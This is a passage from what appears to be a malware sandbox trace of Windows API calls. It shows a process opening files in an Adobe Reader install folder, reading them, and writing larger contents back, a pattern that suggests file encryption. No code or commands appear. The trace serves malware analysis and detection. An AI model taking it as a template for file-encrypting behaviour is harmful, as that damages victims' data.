dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.267] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.267] ReleaseMutex (hMutex=0x128) returned 1 [0042.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_shared.gif", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0042.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_shared.gif", cchWideChar=17, lpMultiByteStr=0x1e78b04, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_shared.gif", lpUsedDefaultChar=0x0) returned 17 [0042.267] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dfc728, nNumberOfBytesToRead=0x555, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfc728*, lpNumberOfBytesRead=0x318f2bc*=0x555, lpOverlapped=0x0) returned 1 [0042.268] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0042.268] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c8e38*, nNumberOfBytesToWrite=0xadd, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c8e38*, lpNumberOfBytesWritten=0x318f2d0*=0xadd, lpOverlapped=0x0) returned 1 [0042.268] CloseHandle (hObject=0x1ac) returned 1 [0042.269] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationinacrobat.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.269] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.269] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x338 [0042.269] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.269] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.269] ReleaseMutex (hMutex=0x128) returned 1 [0042.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInAcrobat.gif", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0042.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInAcrobat.gif", cchWideChar=32, lpMultiByteStr=0x1eb2244, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOffNotificationInAcrobat.gif", lpUsedDefaultChar=0x0) returned 32 [0042.269] ReadFile (in: hFile=0x1ac, lpBuffer=0x2750b98, nNumberOfBytesToRead=0x338, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750b98*, lpNumberOfBytesRead=0x318f2bc*=0x338, lpOverlapped=0x0) returned 1 [0042.270] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0042.270] WriteFile (in: hFile=0x1ac, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x318f2d0*=0x8c0, lpOverlapped=0x0) returned 1 [0042.271] CloseHandle (hObject=0x1ac) returned 1 [0042.271] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.271] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.271] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x42aa [0042.271] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.271] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.271] ReleaseMutex (hMutex=0x128) returned 1 [0042.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHRV.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHRV.htm", cchWideChar=13, lpMultiByteStr=0x1e6338c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeHRV.htm", lpUsedDefaultChar=0x0) returned 13 [0042.271] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.273] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x32aa [0042.273] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.274] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x32aa [0042.274] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.274] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0042.274] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.274] CloseHandle (hObject=0x1ac) returned 1 [0042.274] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobegothicstd-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.274] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.274] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2c0638 [0042.274] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.274] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.275] ReleaseMutex (hMutex=0x128) returned 1 [0042.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeGothicStd-Bold.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0042.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeGothicStd-Bold.otf", cchWideChar=23, lpMultiByteStr=0x1e78c44, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeGothicStd-Bold.otf", lpUsedDefaultChar=0x0) returned 23 [0042.275] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.276] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.278] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0x2000, lpOverlapped=0x0) returned 1 [0042.279] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2be638 [0042.279] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c6e08, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c6e08*, lpNumberOfBytesRead=0x318f278*=0x2000, lpOverlapped=0x0) returned 1 [0042.282] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2be638 [0042.283] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x318f28c*=0x2588, lpOverlapped=0x0) returned 1 [0042.283] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0042.283] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0042.283] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0042.283] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x2000, lpOverlapped=0x0) returned 1 [0042.283] CloseHandle (hObject=0x1ac) returned 1 [0042.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.286] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V", lpFilePart=0x318f690*="90ms-RKSJ-V") returned 0x42 [0042.286] GetLastError () returned 0x5 [0042.286] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0042.286] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.286] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.286] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0042.287] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.287] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.287] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-v")) returned 0x20 [0042.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.288] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2", lpFilePart=0x318f690*="Adobe-CNS1-2") returned 0x43 [0042.288] GetLastError () returned 0x5 [0042.288] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0042.289] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.289] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.289] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0042.289] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.289] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.289] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-2")) returned 0x20 [0042.289] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.289] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0", lpFilePart=0x318f690*="Adobe-GB1-0") returned 0x42 [0042.289] GetLastError () returned 0x5 [0042.289] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0042.289] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.289] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.289] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0042.290] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.290] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.290] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-0")) returned 0x20 [0042.290] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-mac"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.290] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac", lpFilePart=0x318f690*="Adobe-GB1-H-Mac") returned 0x46 [0042.290] GetLastError () returned 0x5 [0042.290] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0042.290] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.290] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.290] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0042.290] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.291] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.291] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-mac")) returned 0x20 [0042.291] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90pv-rksj"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.291] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ", lpFilePart=0x318f690*="Adobe-Japan1-90pv-RKSJ") returned 0x4d [0042.291] GetLastError () returned 0x5 [0042.291] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0042.291] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.291] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.291] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0042.291] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.291] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.291] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90pv-rksj")) returned 0x20 [0042.292] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-mac"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.292] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Mac", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Mac", lpFilePart=0x318f690*="Adobe-Korea1-H-Mac") returned 0x49 [0042.292] GetLastError () returned 0x5 [0042.292] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0042.292] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.292] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.292] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0042.292] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.292] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.292] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-mac")) returned 0x20 [0042.292] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.292] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H", lpFilePart=0x318f690*="ETen-B5-H") returned 0x40 [0042.292] GetLastError () returned 0x5 [0042.292] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0042.293] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.293] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.293] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0042.293] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.293] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.293] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-h")) returned 0x20 [0042.293] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ext-rksj-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.293] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V", lpFilePart=0x318f690*="Ext-RKSJ-V") returned 0x41 [0042.293] GetLastError () returned 0x5 [0042.293] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0042.293] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.293] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.293] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0042.294] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.294] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0042.294] GetFileAttributesW (lpFileName="C:\\Program Files 